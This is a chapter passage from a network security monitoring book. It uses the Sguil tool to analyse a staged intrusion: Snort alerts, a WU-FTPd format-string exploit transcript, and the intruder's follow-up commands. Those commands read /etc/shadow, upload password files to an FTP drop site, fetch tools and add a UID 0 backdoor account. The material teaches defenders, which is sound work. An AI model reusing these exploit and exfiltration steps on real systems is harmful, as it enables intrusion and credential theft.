- Why Sguil?
- So What Is Sguil?
- The Basic Sguil Interface
- Sguil's Answer to "Now What?"
- Making Decisions with Sguil
- Sguil versus the Reference Intrusion Model
- Conclusion
This chapter is from the book
This chapter is from the book
This chapter is from the book
Sguil versus the Reference Intrusion Model
Now that we understand how to use Sguil, let's take a look at the reference intrusion model scenario through the eyes of this open source NSM suite. We start by taking in the broad picture shown by all of the unique alerts Sguil displays. Figure 10.9 shows the sort of screen Sguil would display while the events are ongoing. Remember that Sguil is foremost a real-time tool. As activity occurs, analysts can investigate without refreshing browsers or rerunning queries.
)
Figure 10.9 Alert portion of the Sguil interpretation of the reference intrusion model
We see several types of alerts in Figure 10.9.
-
More than a dozen LOCAL Incoming connection attempt port 22 TCP alerts are listed. This is a simple alert that triggers on SYN packets to port 22 TCP. We see hosts 172.27.20.4, 172.27.20.5, 192.168.60.5, and 192.168.60.3 all appear to have initiated connection attempts to port 22 TCP on several targets.
-
We see three SHELLCODE x86 NOOP alerts. These may indicate buffer-overflow attacks. The last SHELLCODE alert may not indicate this given the use of source port 20 TCP. This port is more likely part of an active FTP data channel, so the alert triggered on the contents of the file transferred via FTP. Still, what was that file? We'll see shortly.
-
The FTP SITE overflow attempt alert is most worrisome. If valid, the target may be compromised. We'll know for sure in a minute.
-
An ATTACK RESPONSES id check returned root alert sounds ominous.
-
While this screen depicts only a handful of SCAN nmap TCP alerts, they continue down the screen (as imagined by the position of the scroll bar in the upper-right corner.) What are these?
-
In the middle pane are POLICY FTP anonymous (ftp) login attempt and two closely related MISC MS Terminal server request alerts.
-
The bottom pane shows the stream4 preprocessor's belief that several reconnaissance events occurred.
We can use Sguil to more closely investigate several of these alerts. In Chapter 7 we looked at session data using Argus and NetFlow. I won't use Sguil in that capacity, other than to show a screenshot.
SHELLCODE x86 NOOP and Related Alerts
The SHELLCODE x86 NOOP alert is triggered by the following Snort rule.
alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS (msg:"SHELLCODE x86 NOOP"; content: "|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth: 128; reference:arachnids,181; classtype:shellcode-detect; sid:648; rev:5;)
Back in the late 1990s, this represented a decent way to detect buffer-overflow attacks, particularly against Linux systems. Intruders have generally left this sort of shellcode behind in favor of more elaborate techniques. Figure 10.10 shows the Sguil display of the packet data that triggered the alert.
)
Figure 10.10 SHELLCODE x86 NOOP alert
The 0x62696E307368 entry or bin0sh is the easiest item to identify after the NOOP sled of 0x90s. Looking at this alert data is where most intrusion detection ends. What happened next? The answer to this question lies with NSM. Let's look at the transcript for this session. I edited it to concentrate on the most interesting information. Interpretation appears in normal text along the way.
DST: 220 oates.taosecurity.com FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready. SRC: USER ftp DST: 331 Guest login ok, send your complete e-mail address as password.
Here is the attack against the WuFTPd service on the target. It's not important as analysts to recognize every character. Unless you are seeing transcripts of binary protocols or binary files (images, audio, movies, and so on), this sort of garbage should not appear in innocent traffic.
PASS ............................................................
...edited...
..F..^..=.....0...F.1..F..v..F....N..V.....1.1..........0bin0sh1.
.11
DST: 230-The response '................................................................
...edited...
......v..F....N..V.....1.1.......0bin0sh1..11' is not valid
DST: 230-Next time please use your e-mail address as your
password
DST: 230- for example: joe@bourque.exploiter.com
DST: 230 Guest login ok, access restrictions apply.
SRC: site exec xx(....%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
...edited...
.f%.f%.f%.f%c%c%c%.f|%p
DST: 200-xx(...-2-2000-2000000000000000000000000000000000nan00000
-2000000000000000000000000000000000000000000000000000000000000000
00000000-2-240nan0346-200///20442978510170838784499890650457027907723523873036300213200
...edited...
055862085579854375388737364352875713898132780479414272|0xbfffb028
DST: 200 (end of 'xx(...%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%
...edited...
.f%c%c%c%.f|%p')
SRC: site exec xx(....%d%.134699076d.f%.f%.f%.f%.f%.f%.f%.f%.f%.
...edited...
.f%.f%.f%c%c%c%.f|%n
This is where the real trouble begins. The exploit succeeds and the intruder is using the same socket to issue commands through a shell as user root.
SRC: /bin/uname -a;/usr/bin/id;
DST: Linux oates 2.2.14-5.0 #1 Tue Mar 7 20:53:41 EST 2000 i586
unknown
DST: uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
SRC: whoami
DST: root
In the netstat output the intruder's connection is the first entry.
SRC: netstat -na DST: Active Internet connections (servers and established) DST: Proto Recv-Q Send-Q Local Address Foreign Address State DST: tcp 0 0 192.168.60.5:21 172.27.20.3:3307 ESTABL DST: tcp 0 0 192.168.60.5:53 0.0.0.0:* LISTEN DST: tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN ...truncated...
Observe that in the following w command output, no one is listed as being logged in. This happens because the intruder's attack circumvents routine processing by the login program.
SRC: w DST: 2:51pm up 2 days, 20:28, 0 users, load average: 0.57,0.26, DST: USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT SRC: whoami DST: root
Next, the intruder looks at the /etc/passed and /etc/shadow files. The password hashes are stored in the /etc/shadow file.
SRC: cat /etc/passwd
DST: root:x:0:0:root:/root:/bin/bash
DST: bin:x:1:1:bin:/bin:
...edited...
SRC: cat /etc/shadow
DST: root:$1$oseWKEKP$W079K2hnu9/r6Y7pernuc.:12416:0:99999:7:
-1:-1:134539260
DST: bin:*:11756:0:99999:7:::
...truncated...
Now the intruder changes to the root directory and does a recursive directory listing. She redirects the results to a file stored in the /tmp directory. All of the errors are seen via standard error, which is sent to the intruder's screen. She also copies the /etc/passwd and /etc/shadow files to the /tmp directory.
SRC: cd / SRC: ls -alR > /tmp/192.168.60.5.dirlist DST: ls: DST: ./proc/2/exe: No such file or directory ...edited... SRC: pwd DST: / SRC: cp /etc/passwd /tmp/192.168.60.5.passwd SRC: cp /etc/shadow /tmp/192.168.60.5.shadow
Now the intruder accesses her drop site, 172.27.20.5, and exchanges a few files. She puts her /etc/passwd and /etc/shadow files, along with the recursive directory listing, on the remote FTP server. She retrieves Server.c and Datapipe.
SRC: ftp 172.27.20.5 SRC: macgyver DST: Password: SRC: penny SRC: bin SRC: lcd /tmp SRC: put 192.168.60.5.passwd SRC: put 192.168.60.5.shadow SRC: put 192.168.60.5.dirlist ...edited... SRC: get server.c SRC: get datapipe SRC: bye ...truncated...
Once done with her FTP session, she adds two users. One is named murdoc and has UID 0, giving her root's powers. The other account is named pete and is a normal user account.
SRC: cd /tmp ...edited... SRC: /usr/sbin/useradd -u 0 murdoc SRC: passwd murdoc DST: New UNIX password: SRC: goodbyemacgyver DST: Retype new UNIX password: SRC: goodbyemacgyver DST: Changing password for user murdoc DST: passwd: all authentication tokens updated successfully SRC: /usr/sbin/useradd pete SRC: passwd pete DST: New UNIX password: SRC: phoenix DST: BAD PASSWORD: it is based on a dictionary word DST: Retype new UNIX password: SRC: phoenix DST: Changing password for user pete DST: passwd: all authentication tokens updated successfully
So ends the transcript for the SHELLCODE x86 NOOP alert. This is far more information than most "intrusion detection systems" would provide! It's not the end, however. If full content data collected the FTP data channels indicated here, we can retrieve the files the intruder downloaded. The best way to get at this information is to perform a query for session data involving the remote FTP site 172.27.20.5. Pertinent results appear in Figure 10.11.
)
Figure 10.11 Query for sessions involving 172.27.20.5
Because of the way the Snort stream4 preprocessor writes session data, we see several entries for the same session. For example, any entry sharing the same socket data is for the same session. This includes the session from 192.168.60.5:1032 to 172.27.20.5:21. The entries showing source port 20 TCP are most likely active FTP sessions. Port 20 TCP sessions with low packet and byte counts (like the second and third entries with 4/0/4/849 and 4/0/4/917) are most likely the results of directory listings or transfers of very small files. In this case the second and third entries are the uploads of the /etc/passwd and /etc/shadow files, respectively. Port 20 TCP sessions with bulkier packet and byte counts (like the fourth entry with 1144/0/1720/2347168) are uploads or downloads. The fourth entry is the upload of the recursive directory listing. You can verify all these assertions yourself if you generate transcripts for each session using the book's sample libcap data available at http://www.taosecurity.com
We are more interested in what the intruder downloaded, however. Working our way through the port 20 TCP sessions, we find the contents of the Server.c and Datapipe transfers. First, Server.c appears to be a network daemon.
DST: /* spwn */
DST:
DST: char *m[]={
DST: ."1.1.1.1", /* first master */
DST: ."2.2.2.2", /* second master */
DST: ."3.3.3.3", /* third master etc */
DST: .0 };
DST:
DST: #define MASTER_PORT 9325
DST: #define SERVER_PORT 7983
DST:
DST: #include <sys/time.h>
DST: #include <strings.h>
DST: #include <stdarg.h>
DST: #include <string.h>
DST: #include <unistd.h>
DST: #include <sys/types.h>
DST: #include <sys/socket.h>
...truncated...
The transcript as displayed by Sguil can be copied and pasted into a new file. Once there it could be compiled and run, should someone wish to try the code rather than interpret the source. Because the source is available, investigating it is more reliable. Datapipe, however, doesn't appear so friendly in a transcript, as shown here.
DST: .ELF....................`...4....-......4. ...(.".......4...4...4.......................................... ..................................................l...t......... .............................................. ... ........... /lib/ld-linux.so.2..............GNU.....................
In situations like these, we have two choices: (1) we can launch Ethereal, rebuild the session, and then save the result to disk; or (2) we can launch Ethereal, which copies the libpcap data for the session to the /tmp directory on the analyst workstation. Once there, we can use Tcpflow to create the associated binary. A quick run through strings verifies this is Datapipe, a tool to redirect TCP sessions.
orr:/tmp$ file *.raw 172.27.20.5_20-192.168.60.5_1038-6.raw: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 1514) orr:/tmp$ tcpflow -r 172.27.20.5_20-192.168.60.5_1038-6.raw orr:/tmp$ file 172.027.020.005.00020-192.168.060.005.01038 172.027.020.005.00020-192.168.060.005.01038: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped orr:/tmp$ strings -a 172.027.020.005.00020-192.168.060.005.01038 | grep -i usage Usage: %s localport remoteport remotehost
If we managed to collect every packet needed in the Datapipe binary, we could copy this file rebuilt with Tcpflow to a Linux system and run the same tool that our intruder used.
Do you remember the SHELLCODE x86 NOOP alert associated with port 20 TCP, from Figure 10.9? The corresponding session entry is the last shown in Figure 10.11, involving the socket 172.27.20.5:20 to 192.168.60.5:1041. While we have this session on our screen, let's generate a transcript to see if this is really a buffer overflow or more like a file transfer (see Figure 10.12).
)
Figure 10.12 Sguil transcript of the transfer of the portscanner program
Sure enough, this is a binary named portscanner. We see the usage statement, which confirms our suspicions. While this is not associated with a second buffer-overflow attempt, we do see the intruder downloading malicious code from her drop site.
FTP SITE Overflow Attempt Alerts
We also made note of an FTP SITE overflow attempt alert when we began our investigation. This alert has the following rule.
alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (msg:"FTP SITE overflow attempt"; flow:to_server,established; content:"SITE "; nocase; content:!"|0a|"; within:100; reference:cve,CAN-2001-0755; reference:cve,CAN-2001-0770; reference:cve,CVE-1999-0838; classtype:attempted-admin; sid:1529; rev:7;)
This content should look familiar; it appeared in the transcript for the SHELLCODE x86 NOOP alert. Looking back at the two alerts (see Figure 10.9), they both come from 172.27.20.3:3307 to 192.168.60.5:21. Generating a transcript for the FTP SITE overflow attempt alert produces the same result as the SHELLCODE x86 NOOP alert. The POLICY FTP anonymous (ftp) login attempt and ATTACK RESPONSES id check returned root alerts also indicate suspicious activity for that session.
SCAN nmap TCP Alerts
A few minutes examining the SCAN nmap TCP alerts shows the first one to be part of reconnaissance activity and the next one to be something completely different. Figure 10.13 shows the first alert, from 172.27.20.4 to 192.168.60.5; Figure 10.14 shows the second alert, from 251.35.253.73 to 172.27.20.102. For a final comparison, Figure 10.15 shows a third SCAN nmap TCP alert, this time from 195.242.254.85.
)
Figure 10.13 SCAN nmap TCP alert from 172.27.20.4
)
Figure 10.14 SCAN nmap TCP alert from 251.35.253.73
)
Figure 10.15 SCAN nmap TCP alert from 195.242.254.85
At first glance these alerts may appear similar, but subtle differences help separate them. Note that the last two share the same TTL of 25 and the same destination IP. All of the later SCAN nmap TCP alerts have the same TTL and target. However, the first SCAN nmap TCP alert belongs with the messages shown in Figure 10.16, which were generated by the stream4 preprocessor.
)
Figure 10.16 spp_stream4 reporting suspicious packets
The highlighted alert at the top of Figure 10.16 is also from 172.27.20.4 to port 24 TCP on 192.168.60.5, but it is not the same packet. Whereas the SCAN nmap TCP alert contained a single ACK flag, this packet shows URG PSH FIN. Looking at the alert titled spp_stream4: NMAP Fingerprint Stateful Detection, we can guess the SCAN nmap TCP alert to port 24 is part of an operating system fingerprint reconnaissance activity.
This analysis does not leave those crazy SCAN nmap TCP alerts without explanation. ACK packets to random ports from random IP addresses are characteristic of the TCP ACK floods generated by the Mstream denial-of-service tool. [5] Looking at the alert ID and timestamp for the first DoS-related SCAN nmap TCP alert (not shown) reveals an alert ID 1.77585 at 21:02:09. The alerts continue uninterrupted until ID 1.80036 at 21:02:16. That's over 2,400 alerts in 7 seconds, or over 340 alerts per second.
The target of the DoS activity was 172.27.20.102, but in reality the IDS could have suffered greater damage. While trying to identify and give alerts on what it perceives as evidence of reconnaissance, the IDS may miss more important activity. Misapplication of rules puts unnecessary and potentially harmful strain on the sensor. Keep this in mind when you write your IDS rules.
MISC MS Terminal Server Request Alerts
We'll use the Terminal Services alerts to wrap up this chapter with a look at session data and the reference intrusion model. Constructing custom queries in Sguil requires only knowledge of the database fields you find useful. For example, you can query for ports if you know the syntax (see Figure 10.17).
)
Figure 10.17 Session query for port 3389
Sguil allows analysts to create custom queries in the Query Builder or in the top bar of any session results window. Here the query is for port 3389:
WHERE sessions.start_time > '2004-02-11' AND sessions.dst_port = 3389 LIMIT 500
Remember this is only the WHERE part of the query. If we watch the Sguil daemon server component in action on the server when this query is executed, we see that the database actually processes the following query.
SELECT sensor.hostname, sessions.xid, sessions.start_time, sessions.end_time, INET_NTOA(sessions.src_ip), sessions.src_port, INET_NTOA(sessions.dst_ip), sessions.dst_port, sessions.src_pckts, sessions.src_bytes, sessions.dst_pckts, sessions.dst_bytes FROM sessions INNER JOIN sensor ON sessions.sid=sensor.sid WHERE sessions.start_time > '2004-02-11' AND sessions.dst_port = 3389 LIMIT 500
The session data results show what is probably reconnaissance for the traffic with low packet and byte counts in the first four entries of Figure 10.17. Traffic involving sockets 192.168.60.3 with source ports 34716, 34717, and 34720 look like interactive sessions. These have very high packet and byte counts in both directions. Since Microsoft Terminal Services (or Remote Desktop Protocol, RDP) is encrypted and binary, we cannot read it. We can say that 192.168.60.3 established a few sessions with 10.10.10.3 and no other systems observed by our sensor.
Knowing What Didn't Happen Is as Important as Knowing What Did Happen
In graduate school my favorite professor, Phil Zelikow, taught a valuable lesson. He said, "It's as important to observe what is not said as what is said." In other words, the fact that a party doesn't mention a topic or make a certain statement is as important as the words he or she actually uses.
Professor Zelikow applied this maxim to political science and national security issues, but the idea applies well to NSM. If a manager asks, "Which systems did the intruder contact?", it's relevant that there is no evidence of RDP sessions to systems other than 10.10.10.3. Assuming confidence in the performance and configuration of your sensor, the fact that the intruder did not talk to any other systems on port 3389 TCP is as important as the fact that he or she did communicate with 10.10.10.3.
Without session data, answering this question would require lengthy hands-on investigation of other data sources. This usually means querying event logs on potential Windows systems. It also means that Windows systems not known to the IT staff and those not thought to run Terminal Services (even if they do) could be overlooked.